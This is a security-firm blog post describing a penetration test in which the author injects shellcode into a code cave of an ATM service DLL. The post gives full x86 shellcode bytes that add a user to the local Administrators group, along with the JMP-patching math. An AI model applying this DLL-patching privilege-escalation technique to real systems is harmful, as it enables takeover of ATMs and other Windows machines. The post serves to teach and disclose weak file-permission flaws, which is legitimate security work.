CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway. Learn More

CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway. Learn More

Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

Database Security

Prevent unauthorized access and exceed compliance requirements.

Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Old School Code Injection in an ATM .dll

During our last ATM review engagement, we found some interesting executable files that were run by Windows Services under Local System account. These binaries had weak file permissions that allowed us to modify them using the standard ATM user account. As a proof of concept, I decided to inject some code into one of them to take full control of the system.

This post is about the technique I used to inject the code into a .dll used by one of the Windows Services. I'm sure there are many other ways to do this, including with automatic tools, but this old school code injection worked for me, so it is worth sharing. I have renamed the binaries in order to avoid disclosing information about the vendor. Anyway, the issue here was only related to file permissions and not to the actual binaries.


First analysis

First, I decompiled the banana-service.exe binary, a .NET assembly using ILSpy (, in order to learn a bit more about it. Here is what I found in the code:


…[SNIP]…[DllImport("peel.dll", SetLastError = true)]public static extern int peel();protected override void OnStart(string[] args){     int num = banana-service.peel();…[SNIP]…


So the assembly is just calling the peel() function located in the peel.dll library. This is where I am going to inject my code.

I could have tried to inject directly into the assembly code but I choose the .dll instead, which was the easiest way for me.

Here is an extract of the disassembled code of the exported peel() function in the .dll:



We want our own code to execute immediately when peel() is called. To do so, we are going to change the beginning of the function to jump to our code and return to the normal execution flow after it. This way, the function will behave normally without disrupting the ATM. But where should we put our code?

At the end of the .text section we can see a code cave full of 0x00 bytes, which is the perfect place:



Shell code

I used a basic shell code that originally runs cmd.exe and modified it to execute the following command:

net localgroup administrators Default_atm /add


This simply adds the Default_atm user to the Administrators local group. The original shell code can be found here:

This code simply calls the C library function system() located in msvcrt.dll library passing the command as a parameter. The ATM was running Windows XP SP3, and I didn't have to change the address of the system() function (0x77c293c7). In case your library is different, you can find this address with Dependency Walker. Find the address of the system() function in msvcrt.dll and add the Preferred Base address to it (0x193C7 + 0x77c10000 = 0x77c293c7):



Here is the shell code:


And here are the explanations:

1. Prologue:

 0: 55                      push   ebp 1: 8b ec                   mov    ebp,esp 


2. Push the string representation of the command we want to execute: "net localgroup administrators Default_atm /add& " ("&[space]" at the end is only padding).

 3: 68 64 64 26 20          push   0x20266464 8: 68 6d 20 2f 61          push   0x612f206d d: 68 74 5f 61 74          push   0x74615f7412: 68 66 61 75 6c          push   0x6c75616617: 68 73 20 44 65          push   0x654420731c: 68 61 74 6f 72          push   0x726f746121: 68 69 73 74 72          push   0x7274736926: 68 64 6d 69 6e          push   0x6e696d642b: 68 75 70 20 61          push   0x6120707530: 68 6c 67 72 6f          push   0x6f72676c35: 68 6c 6f 63 61          push   0x61636f6c3a: 68 6e 65 74 20          push   0x2074656e


3. Push a pointer to the beginning of the string on the stack:

3f: 8d 45 d0                lea    eax,[ebp-0x30]42: 50                      push   eax


4. Call the system() function:

43: b8 c7 93 c2 77          mov    eax,0x77c293c748: ff d0                   call   eax


5. Do some cleanup:

4a: 83 c4 4c                add    esp,0x4c4d: 8b e5                   mov    esp,ebp4f: 5d                      pop    ebp 


Now we need to include this in the binary and write the jump instructions to connect everything together.


Adding the code to the binary

Let's copy these bytes in the code cave we found earlier (at the address 0x100B9E9D for example)...



… and see how IDA Pro translates this:



Now we need to write the instruction that will jump to this code (near jump). We are going to do it at the beginning of the peel() function (at the address 0x10003CB0).


The operand of the JMP instruction will be an offset (16-bit) from the address 0x10003CB0 to 0x100B9E9D, which would be 0xB61ED. But because the JMP instruction offset is relative to the address of the instruction following the JMP, we have to subtract 5 (the length of JMP+[16-bit offset] is 5 bytes). The final instruction is:

0: E9 E8 61 0B 00          jmp 0xb61e8


The peel() function begins with the following code:

0: 55                      push   ebp1: 8b ec                   mov    ebp,esp3: 81 ec 9c 00 00 00       sub    esp,0x9c 


We will need to overwrite the first 5 bytes (the JMP instruction) and, to avoid breaking the original code, we will need to move the first 3 instructions above to the end of our injected code. Also, because the total length of these instructions is 9 bytes, we will pad the 4 remaining bytes with NOP instructions (not mandatory here though).

Finally, the code at the beginning of the peel() function (at 0x10003CB0) will be:

E9 E8 61 0B 00 90 90 90 90




Now going back to our injected code, I will simply add the code we overwrote:




We could have done some factorization here. We can see that we have redundant and useless code, but let's keep it like this for now:

…[SNIP]….text:100B9EE7                 add     esp, 4Ch.text:100B9EEA                 mov     esp, ebp.text:100B9EEC                 pop     ebp.text:100B9EED                 push    ebp.text:100B9EEE                 mov     ebp, esp.text:100B9EF0                 sub     esp, 9Ch…[SNIP]…


The last thing we have to do now is jump back to right after the first JMP instruction located at the beginning of the peel() function.

Let's do the math:

  0x10003CB9 (address of the first instruction after the 4 NOP we added)- 0x100B9EF6 (address after the last instruction in our injected code)- 0x5        (size of JMP instruction)-------------  0xFFF49DBE (or the negative value: -0xB6242)


The jump instruction will be:

0: E9 BE 9D F4 FF           jmp 0xFFF49DBE




Et voila!

In the next post I will give more details on how to actually patch the binary. Stay tuned…

Latest SpiderLabs Blogs

EDR – The Multi-Tool of Security Defenses

This is Part 8 in my ongoing project to cover 30 cybersecurity topics in 30 weekly blog posts. The full series can be found here.

Read More

The Invisible Battleground: Essentials of EASM

Know your enemy – inside and out. External Attack Surface Management tools are an effective way to understand externally facing threats and help plan cyber defenses accordingly. Let’s discuss what...

Read More

Fake Dialog Boxes to Make Malware More Convincing

Let’s explore how SpiderLabs created and incorporated user prompts, specifically Windows dialog boxes into its malware loader to make it more convincing to phishing targets during a Red Team...

Read More